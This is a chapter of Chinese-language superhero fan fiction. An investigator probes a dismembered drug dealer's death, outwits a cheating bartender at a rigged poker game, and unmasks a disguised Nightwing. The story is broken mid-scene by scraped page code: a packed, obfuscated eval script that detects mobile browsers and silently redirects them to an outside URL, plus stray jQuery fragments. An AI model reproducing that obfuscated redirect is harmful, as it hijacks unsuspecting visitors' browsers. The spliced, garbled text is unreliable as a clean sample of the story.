小港口外拉起重重封锁线，里面挤满了警察。
现场勘察员和他们沉重的工具箱像一簇簇饱满的蘑菇，种在海边、游艇和一踩就嘎吱嘎吱响的木头栈道上。
索姆斯探长抱臂立在游艇船头，指挥下海捞尸的潜水员将新发现的尸块搬上岸。
法医面不改色地翻捡泡胀的肉块，对粗糙的切口叹息：“他是被人活活撕裂的，布鲁德海文又出了一个讨厌的怪物！”
咸腥的海风里混杂了令人作呕的生肉味。
满脸疲惫的男女坐在封锁线外的长椅上，裹紧皱巴巴的衣服吃早餐。克莱尔和迪克刚从警局询问室出来，两人一个接一个比赛似地打哈欠。
“你的游艇恐怕短时间内没办法住了。”迪克塞了一大口卷饼，满满当当的食物噎在嗓子里，说话含糊，“如果你没地方落脚，可以去我家暂住几天。”
“谢谢你的好意，”克莱尔抬起手机，屏幕上显示一条发出的短信，“我哥哥在布鲁德海文城郊有住处，他最近在大都会参加节目，我住他那里。”
“挺好的。”迪克用卷饼堵嘴。
克莱尔挑走了迪克看上的那杯加奶加糖的咖啡，她了然道：“少摆出一副失落的表情，我打算趁现在休长假，难道要我把宝贵的假期浪费在你的小公寓里吗？”
“我正好轮休。”迪克自然地拿起两人都不待见的那杯冰美式，把吸管戳进封口，慢吞吞地吸了两口，“算起来可以休息三天。”
他捏着吸管在冰块之间搅了搅，“这周游乐园有双人票折扣，你有没有——”
“我打算闷头大睡，直到卡莉法把我拎出被窝上班为止。”克莱尔起身，“我得出发去调查局了，再晚一点，卡莎肯定不会给我批假，再见。”
她走出两步，听到迪克说：“再见。”
嘴里的咖啡又腻又浓，加入了致死量的糖和奶，多喝一口都是折磨。
克莱尔拎着难喝的咖啡，向后随意摆摆手，跨上机车潇洒离去。她从后视镜望去，长椅上的迪克变成一个小点。
调查局外勤办公室与布鲁德海文警察局在两个不同的方向，克莱尔压着限速的边缘，用时四十分钟到达办公楼下。调查局的办公楼又新又小，只有两层，简直把“你被发配边疆了”摆明了写在脸上。
克莱尔穿过争吵与辩论的同事，路过挤满人在开案情分析会的小单间，直达二楼。卡莉法站在二楼办公室门前，居高临下地扫视众人。
“卡莎女王又在巡视她的领地。”克莱尔如同一个佞臣凑到卡莉法耳边低语，“女王，能否给你最忠诚的臣子批个假？”
卡莉法没好气地推开她的脸，“别以为我没看到昨晚你和警局的小漂亮偷跑了，哈，跑进警局询问室的感觉怎么样？”
“你伤到了我的心。”克莱尔假模假样地捂住心口，越过卡莉法走进办公室，姿态散漫地陷进沙发里。
卡莉法在办公桌后坐下，“少贫嘴，来得正好，你的假期没有了。”
一灰一绿的眼珠瞪成两颗颜色不同的葡萄，“哈？”
卡莉法懒得理会她，直接开始画饼，“等你结束这次任务，我给你批一个七天长假。”
吃饼的人把玩墨镜，右腿搭在左腿膝盖上，“这话好耳熟，我是不是上周听过差不多的话术？”
卡莉法置若罔闻，继续说：“死者的DNA检测结果出来了，你说巧不巧，他是那批药贩子里的一条漏网之鱼。”
听到这里，克莱尔坐正，冷笑：“一个药贩子死在我家附近，尸体分成好几块在我的床底下翻滚。这算什么，挑衅？”
“你在联合行动里出了很大风头，不是没有这种可能。”卡莉法冷静道，“警察局那边愿意把案子交给你，应该是想卖我们一个人情。”
“也不排除是他们嫌麻烦，”一沓资料甩向克莱尔，第一页是死者的尸检报告，“死者被活活撕成了碎片，这种一看就是超能力者犯下的案件，警局向来不愿沾手。”
“大部分警员不会天真到以为自己拿枪能打赢一个手撕活人的怪物。”
她看了一遍死者的资料和尸检报告。死者的名字是休伯特·泰勒，三十七岁，目前独居。他结过一次婚，有一子一女，都由前妻抚养。验尸报告称他没有药瘾，作为一个药贩子，这点倒是少见。
克莱尔合上资料，“很有挑战性，这个案子，我接了！”
休伯特的住处位于贫民窟边缘，只有巴掌大，一小时足够克莱尔把这里翻得底朝天。
和公寓的租金一样，公寓里的每一样东西都廉价而破旧。墙壁角落有蜿蜒的裂纹，卫生间布满棕褐的水垢。克莱尔按住单人床摇晃几下，床板嘎吱作响。
书桌上的摆件是唯一称得上精致的东西。鲸骨向深海坠落，森白的骨架间仿佛回荡着悠远的鲸鸣。
克莱尔仔细检查了摆件，没发现任何可疑之处。她探究的目光落到摆件旁边的水杯上。
普通的啤酒杯，杯身中央是一颗红心印花，红心下方写了一行华丽繁复的花体字：红心酒馆。
克莱尔用手机检索公寓附近的地图。红心酒馆就在公寓两条街外，走路过去只用十五分钟。
她记下地图，转身推开卧室的窗户。天边滚着一层蓄饱了雨水的阴云，沉沉压在城市的头顶。窗外没有别的活物，只有一只看不清羽毛的鸟儿仓皇飞走。
她感到被注视的疑心好像只是一个敏感的错觉。
克莱尔在公寓里待了一个下午，到下午六点准时动身，出发前往两条街以外的红心酒馆。
大多数酒馆只在黄昏降临时开门，招待疲惫的上班族和无所事事的闲汉。克莱尔进门时，酒馆里还没有多少人，她笔直地走向吧台，在酒保面前坐下。
夜里戴墨镜实在显眼，她换了一副棕色的美瞳。
“帅哥，麻烦给我推荐你们这儿最棒的酒。”
擦拭酒杯的酒保抬眼，先是一愣，随后放下酒杯，“我没见过你，你不是附近的客人。”
“有人和我推荐了红心酒馆，说这里很有趣，是我会喜欢的地方。”克莱尔耸肩，“你还没告诉我这里最棒的酒是什么。”
酒保笑了笑，“我们店的杰克丹尼是最好的，我请你一杯。”
他在吧台后的一排木桶里接了满满一杯杰克丹尼威士忌，加入大量的冰块和少量的青柠檬汁，滑给克莱尔。
“推荐你来的家伙没有陪你一起吗？”酒保双手支着吧台，“让你这样美丽的女士独自来酒吧消遣是一种罪恶。”
克莱尔漫不经心地抿了一口酒，答道：“前男友，不久前分手了，我不是很想见到他。”
话音刚落，有人拉开了她身旁的吧台椅。
“我敢说他是一只糊涂虫，虽然我不知道发生了什么，但肯定是你前男友的错。”
来者有一副绝妙的身材和一张平平无奇的脸，他冲克莱尔微笑，一张平凡的脸也因笑容增添几丝风味。
酒馆灯光昏暗，克莱尔在暧昧不清的光线里打量他，总觉得有些不自然。
“我是约翰，你们好。”
“卡莉法。”克莱尔说，“因为你站我这边，所以我要请你喝一杯。”
她对酒保道：“给约翰来一杯黑啤！”
满满一大杯德国黑啤送到约翰手边，浓密的泡沫占据了啤酒杯三分之一的上半部分。约翰象征性地喝了一口，嘴唇上几乎没留下泡沫。
酒保推来一碟鱿鱼干，适时加入两人的闲谈。
“别聊前男友那种愚蠢的生物了，红心酒馆是让人放松的地方。”他撺掇道，“要不要玩点有意思的？”
克莱尔饶有兴趣道：“什么算有意思？”
酒保从吧台后摸出一堆红心酒馆的纪念章，分成三小份，其中两份分别拨到克莱尔和约翰面前。
克莱尔捡出一枚纪念章，大拇指轻轻一弹，一点红心高高飞起，旋转，落在她的虎口上，被她用左手盖住。
她侧身对约翰道：“猜猜是正是反。”
“我猜是正面。”约翰嘴角微勾。
“你看到是反面了。”克莱尔撇嘴，“没劲。”
酒保拍拍手，“朋友们，它可不是这么玩的。”
“我们有三个人，可以玩德/州/扑/克，我当荷官。”酒保笑眯眯地说，“从我手里赢走所有筹码，就是你们赢。反之你们因为输光赌注离场，就是我赢。”
“输赢没有惩罚吗？”约翰问。
酒保只是笑，“你们赢了，今晚的酒我来请。你们输了，账单双倍，怎么样？”
没人不同意。
酒保拆开一副普通扑克牌，拿走大小王。一局德/州/扑/克只需要用到这些。
游戏规则很简单。玩家手里有两张底牌，场上有五张公共牌，以3、1、1的顺序依次揭开。每轮都可以选择加注或不跟。公共牌全部掀开后，玩家在七张牌中选择五张牌，谁的花色大谁赢。荷官也要下场。
这是概率的游戏，必须要算牌，一味地加注或者不跟只是慢性死亡。
酒保真的如同一个称职的荷官一般，站着洗牌发牌。两个玩家坐着，高低差正好方便他暗暗观察两人。
自称“卡莉法”的女人自摸到筹码的那刻，呼吸就急促起来。约翰看上去是老实人，实际摸牌的姿态娴熟，他是老玩家。
酒保的运气不错，一次钓上来两条鱼。
卡莉法翻开手中的两张底牌，一张“Q”一张“3”，这么烂的牌她竟然敢加注。幸运的是吧台中央的公共牌中同样出现了一张“Q”和一张“3”。
她欣喜地将筹码收入囊中，“两对，比你们的都大。”
她的情绪直白好懂，牌好牌坏都写在脸上，极力伪装也忍不住将笑意泄在嘴角。这种人贪婪冒进，是最没脑子的赌徒。
酒保不打算让她立马下场，准备给她多尝一点甜头。
红心酒馆的扑克牌都是特制的，牌背有肉眼无法分辨的颜色差异，仅仅能通过酒保眼中的隐形眼镜识别。不同的颜色代表不同的花色，让换牌算牌变得简单。
三人玩了几场，卡莉法和约翰都是有输有赢，卡莉法的筹码更少。酒馆的客人来来回回，人数总是固定在那么多。隔壁的几桌酒客被他们的动静吸引，纷纷挤到吧台边围观赌局。
玩家们周围竖起一道人墙，卡莉法烦躁地抱怨：“离远点，你们贴着我了！”
酒保将牌藏在袖中，翻牌的瞬间换掉了最后一张公共牌。牌背的颜色与卡莉法手中的两张底牌一致。
卡莉法惊喜道：“呀，同花，是我赢了！”
她的筹码被约翰赢走大半，原本再玩不了几把就得下场。这一局起死回生，让她狂揽场上大半筹码！
胜负颠倒，约翰面色发白。他倔强地盯着酒保，双眼睁得通红，试图找到酒保作弊的一点破绽。可他依旧没下桌，较足劲儿要和酒保比上一场。
酒保心中暗笑，他高看了他，这个约翰不比卡莉法强多少。
按照酒馆定下的游戏规则，三轮之内他该结束游戏了。桌上的五张公开牌，牌背是同一种颜色，无论点数是多少，荷官必定是同花！
它大于顺子、三条、两对、一对和高牌，能赢过它的寥寥无几。即使卡莉法和约翰好运凑齐了同花大顺、同花顺、四条和满堂红，大不了酒保再赌下一场。
卡莉法警惕地盖住自己的两张底牌。她瞪向凑过来的围观酒客，“你别想看我的牌，我怕你和酒保合伙坑我！”
“怎么会呢？”酒保笑道，“玩玩而已，又不花钱。要下注吗？”</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16171369|180686||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
约翰眉头紧锁，一言不发。他的目光触及到自己少得可怜的筹码，被烫到似地收回来。酒保怜悯地看着他紧绷的嘴角，筹码的总数不多，有时候输赢就在一两局内。他可以选择封牌，但那无法改变他下场的结局。
最终，约翰艰涩地挤出几个字，“Show hand！”
零零散散的几个筹码推出来，一点气势都没有。他或许只是想快点输光离场。
酒保见过很多破罐子破摔的赌徒，他并不感到意外。
另一个声音果断道：“Show hand！”
卡莉法用胳膊牢牢压住底牌，阔气地一把推出全部筹码。金章呼啦呼啦散在吧台上，众多红心拥簇着她。
“女士，你很自信。”酒保说。
“要么输，要么赢。”卡莉法舔了舔嘴唇，“总不能连约翰都比不上。”
酒保第二次认真审视她漂亮的脸蛋，想判断她到底是胸有成竹还是虚有其表。站在卡莉法身后的人挤了两下，没找到机会拱开她的手臂。
箭在弦上，不得不发。
酒保故意环视四周一圈，吊足胃口，才一张张掀开五张公共牌中的三张牌。
第一张，红心3。第二张，红心7。第三张，红心5。
在场所有人都能听到卡莉法粗重的呼吸声，贪婪从她眼里涌出来，淹没手边金灿灿的纪念章筹码。每一颗红心都随她的心脏一起跳动。
与之相对的是约翰苍白的脸色，仿佛一瞬间有人抽干了他血管里所有血液。
酒保翻开第四张牌。
红心J。
两位玩家的目光对上，一触即分。
约翰嘴唇颤抖，哑声道：“我封牌。”
旁观的客人一把摁住他的肩膀，嘲弄道：“你都把手亮出来了，哪有撤回的道理。”
“别玩不起啊。”周围人起哄道。
酒保也笑道：“别紧张，我们又不赌钱。”
“好吧，”约翰喃喃，自我安慰，“大家都是随便玩玩，输了也没事。”
他的背弓下去，折在桌上。
酒保的眼睛扫到卡莉法，她的胳膊下露出底牌的两角牌背。
红心，她也是红心！
到底是她的运气好，还是她其实是一个扮猪吃老虎的高手？
酒保第三次端详她的脸，分析她的表情。纤长浓密的睫毛半遮住她的瞳孔。酒保注意到她的眸光发颤。
他怀疑着，缓缓翻开最后一张牌。
红心Q。
五张牌，同一个花色，同花！
约翰沉默地亮出牌。方块4和梅花7，他是最差的高牌，凑不出任何牌型。
卡莉法的身体剧烈颤抖，半晌，她深深吸一口气，强迫自己稳住表情。
“真可惜，我以为自己要赢了呢。”
两张牌翻开，一张是红心4，另一张是红心2。
同样是同花，但依次对比最大的单牌，她输了！
酒保的心彻底沉在肚子里，果然，卡莉法和他想象中一样，是一个仅凭运气就敢在赌场拼杀的没脑子蠢货。
他愉快地收拢赢得的所有筹码，安慰道：“这次是你运气不好，明天我们继续。”
卡莉法将散乱的鬓发归到耳后，挤开人群朝外走，“明天再说。”
约翰连忙追着她跑出去，“卡莉法小姐，你家在哪儿，我送你回去！”
酒馆的客人稀稀拉拉，她们穿过空荡荡的卡座，离开酒馆，并肩走过无人的小巷。
阴云沉沉，灯影寂静。克莱尔脱离了“卡莉法”的角色，忽然对身旁的男人道谢，“谢谢你替我吸引他们的注意力，我正愁找不到机会换牌。”
“我猜到你要作弊了。”约翰狡黠地挑起唇角，“酒保和围观的那群人一直有意遮挡我们的视线，是不想让我们发现其他客人去了哪里。他约我们打德/州/扑/克，不仅是为酒馆真正的生意打掩护，也是一场小小的测试。”
“红心酒馆，我看它的真名是红心赌场。”克莱尔双手抄进外套口袋，“是啊，赌场不需要太聪明的客人。”
“所以你要输，不能赢。”
约翰与她肩擦着肩，“都是同花，公开牌的顶牌是红心Q，你的牌比酒保大，换掉的那张牌是红心K。你把它换成了哪张牌？”
“红心K换了红心2。”克莱尔站定。
她们停在路灯下，灯光在晦暗的街道上印下昏黄的圆。飞蛾扑撞灯火，滋，滋。
克莱尔抬手，她的掌心温暖，贴着约翰的脸，一寸寸描摹他的面部轮廓。指尖抚过眉骨时，约翰捉住她的手腕，制住她的动作。
“太亲密了，女士。”
“在休伯特的公寓外偷窥我的人，是你吧。”不是疑问句，是肯定句。
克莱尔抽回手，神色坦然，胸有成竹。
“我看到你的第一眼，就感觉到了不对。赌局中我总是在看你。”
约翰没有反驳偷窥的指控，“我以为是我的个人魅力吸引了你。”
“是你的表情不自然，光学面具做微表情时会有零点几秒的延迟，而我恰好上过微表情分析课。”克莱尔说。
她一眨不眨地注视灯下这张违和的脸。
“我该怎么称呼你，约翰，还是夜翼？”
良久的沉默在夜色中晕开，约翰呼出一声轻笑。
他将手抬到颈后，探入衣领。一圈圈波纹在他的面上扩散开，如同雕刻家精心雕琢了一尊人像，现在要拂去人像脸上的灰尘与石屑，令他最满意的脸重见天日。
克莱尔看见一副多米诺面具，恰到好处地藏住男人的五官。
布鲁德海文最神秘也最出名的超级英雄亲昵道：“夜翼，N或者Wing，选你喜欢的方式喊我。”